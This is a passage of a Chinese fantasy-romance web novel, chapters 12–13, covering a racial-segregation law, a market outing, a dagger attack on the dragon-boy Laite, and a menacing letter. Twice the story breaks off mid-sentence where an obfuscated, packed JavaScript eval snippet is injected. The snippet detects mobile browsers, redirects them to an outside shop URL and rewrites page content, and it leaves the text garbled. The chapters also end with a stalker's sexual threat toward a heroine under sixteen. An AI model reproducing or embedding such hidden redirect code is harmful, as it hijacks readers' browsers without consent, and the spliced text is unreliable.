“他还禁止其他种族前往你们人类的圣城,说什么艾德兰是只属于人类的城市,不管以什么理由……” “因为这条法案,可怜的咕咚咚现在只能躺在床上等死……” “还有许多其他的法案,但我太久没有出过门,已经记不太清楚了……” 见她听得十分认真,脸上也露出同情的神色,完全没有因为刚刚的事情而记恨自己,小兽人表情一顿,难过而又羞愧地低下了头。 “在这之前,书店里挤满了朋友,老约翰总是忙来忙去,很受欢迎,一点儿也不孤僻,才不会像是今天这样,一直盯着别人的袖子和鞋底瞧,噢,尊敬的您……我的意思是对不起,老约翰现在已经没有了朋友,不知道要怎么和人类相处。” 希莉塔听得晕晕的。 她还来不及接收小兽人话里的信息,就听见旁边的莱特语速极快地问道: “不允许其他种族进入艾德兰?里面也包括龙吗?” 12.第 12 章 “龙?” 小兽人愣了一下:“龙怎么会想去艾德兰呢?” “艾德兰虽然是人类的圣城,但哪里会有让龙舒展筋骨的地方?他们最喜欢的当然还是自己的龙巢。” “也不会有龙遵守人类规矩的……它们和我们不一样。” 莱特沉默了两秒。 “听起来,龙很厉害?” “当然。” 小兽人抬眸看了他一眼,又看看主人,压低声音说道:“您知道……其实我们兽人,有许多部落信仰的兽神就是龙。” “在我小时候……我曾经远远地看过一根龙骨,天呐,那大概有一整座山这么高,从山顶一直延伸到山脚……我几乎以为那就是一条巨龙了。” “可是我的母亲告诉我,那只是龙神翅膀上的一根小骨头。” “您想想,真正的龙会是什么模样?可惜距离上一次巨龙出现,已经是好几百年前了……我一生中最幸运的事情,就是小时候曾经亲眼见识过一根龙骨。” 这间书店原本是他和伙伴一起开的,他是龙骨,朋友是羊皮卷。 在种族禁令之后,朋友因为触犯法律被处决了,而他也失去了经营书店的资格。 为了保住这间书店,留住朋友最后的遗产,他为自己寻找了一个主人。 只有在和人类签订主仆契约、成为人类的奴隶之后,他才能得到一定程度的豁免权,继续留在这间书店、整理那些爱书。 那之后,他失去了自己原本的名字,成为了‘老约翰’。 “哦。” 莱特神色淡淡地听着,没有对小兽人的经历表现出丝毫同情,直到听见最后的法案豁免规则,才轻轻挑起了眉头: “这么说,只要给自己找个主人就行了?” 他看向希莉塔。 少女显然已经听晕了,表情懵懵的,怀里抱着那本矮人工匠的书,察觉到他的目光,她仰头看过来。 小小的脆弱的苍白的脸蛋。 他看了她一会。 忍不住弯下腰,去闻她的味道。 她愣了一下,可爱的脸上浮现出些许羞涩,大概是不习惯他在外人面前表现出如此痴态,轻轻鼓起脸,偏过了脑袋,不看他。 “谢谢你。” 她和别人说话,声音轻轻的、软软的,像是夹杂着云朵的蜜糖。 “五枚金币,对吗?” …… 结账走出了书店。 莱特弯下腰,拿过她手里的书,又轻轻牵起她的手,十指紧扣。 希莉塔没太关注他的动作。 她还在消化刚刚听见的信息。 作为一个待在偏远村庄的平民,希莉塔从前不太关心皇帝。 毕竟不管坐在那把椅子上的人是谁,大家的日子都过得差不多,不会多好,也不至于多坏。 她只知道,现在的王国是一位名叫艾德兰的伟大圣者创建的。 据说,祂是一名真正的神明,或许就是光明神本身。 所以大陆名叫艾德兰、王国名叫艾德兰、圣城名叫艾德兰尼亚,那是一种地名化的尊称。 王室自然也以‘艾德兰’的血脉为荣,一千多年以来,他们始终保持着绝对的血统纯正。 希莉塔不知道他们是如何做到这一点的。 在从前,贵族们通常会选择近亲通婚来维持血统。 但在机械齿轮诞生之后,人们已经知晓那样做的后果。 相同血脉结合所诞育的生命,往往会携带着天然的诅咒,使孩子们早早夭折,又或者遭受厄运、染上什么古怪的疾病。 也是因为这一点,在很小的时候,希莉塔就知道,自己不能嫁给哥哥。 她为此失落了好长一段时间——对于小小的希莉塔来说,天底下哪里会有比哥哥更好的丈夫呢? 哪怕是过家家,她也绝不愿意成为别人家的妻子、别人家的母亲,跟随别人的名字,在希莉塔后面冠上什么姓氏。 那段时间,她每天晚上都会躲在哥哥怀里委屈地哭,问他为什么不可以嫁给哥哥,甚至还觉得光明神也是一个坏家伙,要给人们施加这么可恶的诅咒。 哥哥的回应,她已经忘了。 这个问题并没有困扰她多久,她很快就拥有了新的烦恼和快乐,将它抛到脑后。 “真的?” 临近市场,人们的交谈传入她的耳朵。 她下意识捕捉那些和新国王有关的事。 在四个月之前,去年的光明节上,艾德兰三十世接受了教皇加冕,成为了新的皇帝。 他没有王后,没有情人,没有孩子,孑然一身,听说身体也十分孱弱。 这往往象征着动荡和不稳固。 在上位初期,大臣们没少因此给他找麻烦,频繁劝说他立后、生下王储,阻碍他推行新政的脚步。 他直接收养了父亲的孩子。 也就是他的兄弟姐妹。 现在,他们要称呼他为父亲。 希莉塔被吓了一跳,站在原地想了好一会,才把混乱的关系捋清楚。 这个新国王……她忧愁地想,听起来好像有点疯狂。 会不会对艾德兰造成更多更坏的影响? 还有种族法案什么的……她刚刚都忘记问了,如果不允许其他种族待在圣城,那泽菲尔大人怎么办? 他现在还在艾德兰任教吗? 会不会、等她抵达艾德兰的时候,泽菲尔大人已经离开了呢? 这样一想……新国王真是个毫无疑问的坏家伙。 希莉塔感到头脑眩晕。 从早上出门之后,她的小脑袋就没停过,实在是累坏了。 她只好停下来,先把这些思绪抛走,专心应对眼前的事。 这里盛产羊毛,市场上有许多布料商人,希莉塔要去给哥哥买新衣服。 春日的太阳十分温暖,风儿像是轻纱一样拂过身体,带来清新的花香和新鲜面包的香气,阳光是如此轻柔和煦,温柔地照耀大地,不带有一丝重力。 她却觉得肩膀很沉,身体很重,渐渐迈不动脚步。 被抱进怀里。 高大的、健壮的少年,有着宽阔可靠的胸膛,和强壮有力的臂膀。 坐在他的臂弯,像是坐进了一艘稳固的小船,有些摇晃,但他绝不会让她摔倒。 一个人抱着另一个人走,应该是很奇怪的吧? 希莉塔看起来完全是个把人当成坐骑的坏孩子。 但是、但是那又怎么样呢? 她把身体往他的方向倾倒,把脑袋搭在他的肩膀,有些害羞、又很满足地想: 不管通过什么方式,无论接受了谁的帮助,她现在还能继续前进,达成她的目标。 太阳依旧暖融融的,她依旧可以闻见花香。 …… 遇见了熟悉的布料商人。 哥哥每个季节都会向他采买布料,然后再委托他的妻子给希莉塔做裙子。 希莉塔很少出门,只和商人见过几面,但对于他们一家并不感到陌生。 商人有一个儿子,和希莉塔差不多大。 那是一个非常着迷于机械齿轮的孩子,名叫韦恩,对父亲的布料生意毫无兴趣,也不愿意和人交际,只喜欢在家里捣鼓一些新东西。 希莉塔曾经和他短暂地见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287824|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一面,在哥哥挑选布料的时候,两个小豆丁凑在一起说话。 不久之后,韦恩给她寄来了一封信。 那是一封长达十页的信,跟随着她的新裙子和一支笔。 韦恩从父母的口中知晓了她的身体状况。 为了希莉塔,他开始琢磨怎么弄出一支更好用的笔。 一开始只是轻微地修改了曲线、粉刷了颜色,一支简简单单的直筒笔,雕刻得马马虎虎,更加贴合小孩的手指,更加省力。 后来,韦恩送来的笔渐渐变得精巧起来:能够自动汲取墨水、旋转笔尖、完全贴合她的手指、书写起来毫不费力。 虽然两个人仅仅只是在六岁的时候见过一面。 但在心里,希莉塔已经把韦恩当成了很重要的好朋友。 能够在羊毛镇遇见他的父亲,希莉塔很是惊喜,忍不住关心韦恩的近况。 在上一次通信的时候,绝不愿意继承父亲生意的韦恩决定离家出走。 “噢……那孩子。” 商人的脸上露出忧愁的神色:“他生病了,病得不轻,现在只能待在家里。” 生病了? 希莉塔皱起眉,一边查看成衣和布料,一边问道:“是什么病?我、我可以和哥哥一起去看看他吗?” “我想这不太方便。” 商人揉了揉眉心,很苦恼地说道:“医师说,那孩子的病像是一场感染,会传递给别人,我只能将他关在单独的屋子里……我可怜的孩子,希望光明保佑他,让他挺过这场灾厄。” …… 给哥哥买了新衣服。 希莉塔低头数金币。 她看着自己的小布包,有点分不清哪些是莱特昨天交给她的,哪些是哥哥早上出发前塞进来的。 这让她有些纠结地皱起眉毛。 理智上,她知道纠结这样的小事毫无意义,这些金币进了她的小包,就变成了她的,没有必要划清界限。 可是在心里,希莉塔清楚地知道,哥哥和她是一个家,莱特和她又是另外一个。 莱特是绝不愿意和哥哥成为家人的,在这一点上,哥哥的态度也完全一样。 他们几乎不会触碰和对方有关的任何东西,哥哥甚至从来不愿意和莱特说话。 如果花莱特的金币给哥哥买衣服,好像对两个人都不太尊重。 莱特这家伙……现在看起来毫不介意,甚至还催着她快点付钱,可是谁知道,他回去之后会对哥哥说些什么怪话? 哥哥肯定也会不高兴的。 可是、可是希莉塔已经完全分不清谁是谁了,怎么办? 她纠结了好一会,小脑瓜转了又转,依旧没有想出来什么好方法,只好放弃思考,当做这个困难从来没有出现过。 这不是她的错……她想,谁叫她的小布包只有一个呢?如果哥哥也给她做一个小包,那希莉塔一个里面放哥哥,一个里面放莱特,不就能分得清清楚楚了吗? 她一边这样想,一边心虚地结了账。 在商人帮忙把衣服包装成礼物的时候,她想了想,又去旁边的面包店购买了两条白面包。 在宗教意义上,柔软的白面包往往象征着光明,是光明节常用的主食。 她想拜托商人把它们送给韦恩,祝福他快点摆脱这场疾病。 回来的时候,和一个人擦肩而过。 他身上带着一种松木的冷香。 希莉塔愣了一下,感到有什么回忆在脑海中匆匆闪过,她下意识停下脚步,回头去看,却什么都没有看到。 只有一道视线。 她感觉到,有一个人正饱含恶意地注视着她。 13.第 13 章 这样浓郁的、清晰的恶意。 在她以往的人生中从未出现。 她感到一种茫然,身体正因为恐惧发出颤栗,不断催促着她逃跑,可是慢吞吞的头脑还没有发出指令,使她只能停在原地。 听见了清晰的破空声。 接着,一柄匕首插入了莱特的喉咙。 她呆呆地看着这一幕。 周围的人群发出尖叫,少年痛苦地弯下了腰,红发被风吹得凌乱,他的嘴唇开合,用受损的声带发出三个音节…… 细不可闻的、 希莉塔。 他抬起手,捉住她的肩膀。 接着,视线陷入黑暗。 她被紧紧按进他的怀抱。 这仿佛激怒了匕首的主人。 刀刃更深地戳进喉咙,接着继续向下,用一种仿佛能将他的身体劈成两半的力道。 莱特颤抖着抬起手,捉住刀柄,垂眸看向袭击者。 银发红眸,正眯着狭长的眼睛朝他笑。 哈。 于是他也笑,一边往外吐血,一边笑,像是为了确认什么,莱特低下头,亲吻了一下希莉塔的头发。 果不其然看见他变沉的脸色。 “哈哈。” 还以为是什么呢。原来只是又一个贱货。 吓死他了…… 莱特一边哈哈大笑,一边吐着血向下弯腰。 那些鲜血慢慢变成火焰,浇落在地面。 大地震颤,一道道裂纹从落点处蔓延,橘红色的液体在底下翻滚、涌动,接着,一团火席卷而上,将银发男人从脚底点燃。 只用了一秒钟,他就被烧成了灰烬。 莱特面无表情地拔掉匕首。 那些火焰并没有熄灭。 它们跳上房屋、滚入街道、溅在人们的身上。 人们发出惊恐慌乱的叫喊,不断拍打着身上的火焰,只过去几个瞬间,这些火就点燃了整条街道、整个市场,并且向更远的地方蔓延。 少年站在混乱中心,茫然地看着这一幕,脸上流露出些许困惑、些许慌乱。 接着,他深呼吸了几下,捂住脖子上的伤口,抱着怀中的少女,头也不回地离开。 在灾难席卷小镇之前,天空中凝聚起了一颗又一颗巨大的水球。 它们重重地砸下,带来拯救一切的雨水。 …… 希莉塔怔怔地看着那些雨。 下个月,过完生日,她就十六岁了。 要成为一个法律意义上的成年人,可以参加政务、应聘工作、成为骑士,甚至成为母亲,孕育一个生命。 但事实上,在今天之前,她生命中遭遇过的最惊心动魄的事,只是瞒着哥哥悄悄打工,想给他买一件新衣服。 “希莉塔……” 莱特抱着她在巷角停下。 他倚着墙,不断深呼吸,胸膛剧烈地起伏着,受伤的喉咙一直往外冒血,他却看也不看,只是低头安抚她。 “别害怕,希莉塔……” 他说:“就算那个人想要袭击的是你,我也可以捉住那只匕首,我没有躲开,是因为我的注意力全在你的身上,希莉塔……别害怕,他的速度不快,哪怕目标是你,你也绝对不会受一丁点的伤……” 希莉塔呆呆地看着他。 莱特……脸上好多好多的血,衣服上面也全部都是血,连带着她的脸颊也血红一片。 她慢吞吞地去捂他的伤口,想要让那些鲜血停下,嘴巴张开,却说不出什么安慰的话,只能慢吞吞地说道:“不要死。” 莱特……不要死,不要离开她的身边…… “不会的。” 他捉住她的手,放在嘴边亲了亲,又朝她笑,笑得鲜血一个劲地往外涌。 “希莉塔,感谢那个贱人,这让我想起来更多的事情。你知道吗?我真的是一条龙。” “希莉塔,快把我现在流的血收集起来。” 他说:“龙血卖得很贵,一小滴就要几万金币……希莉塔,把这些血收集起来,给你买新衣服、新裙子……” 她懵懵地听着这些话,只感觉莱特的脑子疼坏了。 “哥哥……” 在慌张的时候、恐惧的时候,希莉塔永远只能想到一个人。 她跪坐在莱特身上,用自己的裙子裹住他的伤口,然后抬起头,不断地祈求哥哥出现,救救她的莱特。 “希莉塔……” 莱特捧起她的脸,让她看向自己。 “别喊你的哥哥了,我也可以保护你。看看我吧?希莉塔……我好痛。” 那怎么办? 她哭得整个人都在发抖,头脑已经完全停摆了。 “怎么办?莱特,要怎么才能让你不痛呢?” 亲亲我吧,希莉塔。 他好想这么说,可是他现在太脏了,他舍不得……弄脏他的希莉塔。 所以只是低下头,嗅嗅她的裙子,又将她抱紧,用额头抵着她的额头。 “让我嗅嗅你,希莉塔。” 他说:“抱抱你、贴贴你,像这样把额头贴在一起,我很快就会好起来的。” 真的吗? 她不是很相信这样的话,一边哭,一边被他抱,眼泪和鲜血弄得她的脸颊脏兮兮的。 在这个时候,听见了脚步声。 平静的、沉稳的、仿佛永远不会改变的脚步。 黑发少年的身影出现在小巷入口。 他垂眸看着他们,目光不感兴趣地掠过莱特的惨状,然后停留在妹妹的脸颊上。 小小的脸脏污一片。 湿漉漉的。 “希莉塔。” 伊斯梅尔弯腰抱起妹妹,一边用清洁术为她清理,一边用治愈术治疗她的身体,然后轻轻抚摸她的脊背,安抚她的惊恐。 “呜……” 像是受伤的小兽终于回到巢穴,躲在哥哥的羽翼里,希莉塔发出崩溃的哭叫。 或许是刺激太过,她甚至无法晕倒过去,只能在哥哥怀里不断地哭、不断地发抖,哭得肩膀一抽一抽的。 “救救莱特、哥哥,救救他……” 伊斯梅尔手指一顿,垂下眸,居高临下地看了过去。 红发少年正捂住自己的脖子站起来,一边可惜地看着地上的血,一边充满排斥地抬眸看他。 “喂。” 他连‘梅尔大哥’都懒得叫了,只是用受损的声带,略带卡顿地嘶哑着说道: “你有没有收集的器皿?把我的血收集起来,待会拿去卖钱。” …… 莱特,被匕首捅穿了喉咙。 但是当她睡一觉起来,他的伤口竟然已经结痂了。 也没有让哥哥使用治愈魔法。 希莉塔疲惫地躺在床上,晕晕地想:难道、难道他真的是一条龙? “希莉塔。” 莱特正缩在她的床边,大只的个子,束手束脚,已经洗过澡,浑身上下都冒着清爽的气息。 如果不去看他喉咙上那道长长的伤口,他表现得几乎和平常一样,看起来没有一点儿虚弱。 反倒是她,明明没有受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292218|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到半点伤害,却被吓得在哥哥怀里不敢出来,直到哭晕了过去…… 这让希莉塔感觉有些羞愧,她攥紧手指,决定不去理会那些怯懦的情绪,将它们都抛到脑后,假装自己是个成熟的冒险者,拥有大魔法师的思考方式。 “别害怕,希莉塔,他已经死了。” 莱特的声音变得有些嘶哑,像是他刚刚长出喉结的那段时间,一开口总是像鸭子在叫。 希莉塔忍不住看向他。 得到她的目光,少年幸福地凑过来,捧起她的双手,把脸颊埋进她的掌心。 “银色的头发,暗红色的眼睛,没错吧?袭击者就长这样,和希莉塔描述的那个吟游诗人一模一样。” 吟游诗人…… 希莉塔愣了一下,好一会,才终于听懂了莱特的话。 那个袭击者,就是杀死牧师大人的吟游诗人。 在跑出教堂的时候,她和他擦肩而过。 他身上有一种木头的冷香,很浓郁、很独特,仿佛不属于这个世界的般格格不入。 显得那样鲜明、霸道。 使她只是嗅闻几秒,大脑就记住了他的味道。 他杀死了牧师,又想要杀死莱特。 为什么? 希莉塔有些困惑,却不想再为此耗费精力。 谢天谢地,他已经死掉了,不然的话,知晓世界中还有这样的一个人存在,她连睡觉都会做噩梦的。 “梅尔大哥不愿意帮我收集那些龙血,希莉塔。” 回过神,莱特又在叽里咕噜地告状,用他受伤之后鸭子一样的嗓子。 “那些值好多钱呢!不过没关系……我又弄一些出来,一整瓶,这应该能卖不少钱。” “希莉塔,我们可以在艾德兰买一座大房子,有你喜欢的书房、花园,再给你买很多漂亮的裙子,如果不够的话,我再……唔唔。” 希莉塔忍不住捂住他的嘴巴。 “不许胡说八道了。” 她现在的脑袋乱糟糟的,里面装满了东西,莱特和巨龙、那些矮人、国王、法令、还有可怜的生病的韦恩…… 听见莱特用这样的嗓音叽里呱啦,她只感觉一阵烦躁,捂着他的嘴,瞪着他,不许他说话。 直到少年乖乖点头,她才把手松开。 “希莉塔。” 哥哥推开门,就好像预料到她会在这时候醒来一样,慢慢地走过来,把手搭在她的胸口。 确认了一会她的心跳,哥哥收回手,把她的碎发别到耳后。 “去洗个热水澡。” “哦……” 看见哥哥,心底就浮现出无尽的安全感。 因为哥哥可以帮她解决全部的麻烦。 她不再思考那些复杂的信息,只专注眼下的事,推开盥洗室的门,放松地照着镜子,抹牙粉、找牙刷,准备认真刷牙。 旁边叠的整整齐齐的衣服上,放着一张纸条。 她拿起来,看见文字一行一行从纸上浮现: 闻男人的味道闻爽了吗? 连内衣都要哥哥帮你洗。 …… 为什么那样朝他笑。 在大街上、就给男人这样抱。 印着风琴的浅绿色纸张,美丽的音符点缀在四角。 带着淡淡的油墨和松木的冷香。 极其优雅、漂亮的文字。 鲜血的颜色。 笑得这么开心,是以为我死了吗? ^ ^ 宝宝…… 他说:真想舔烂你水性杨花的小■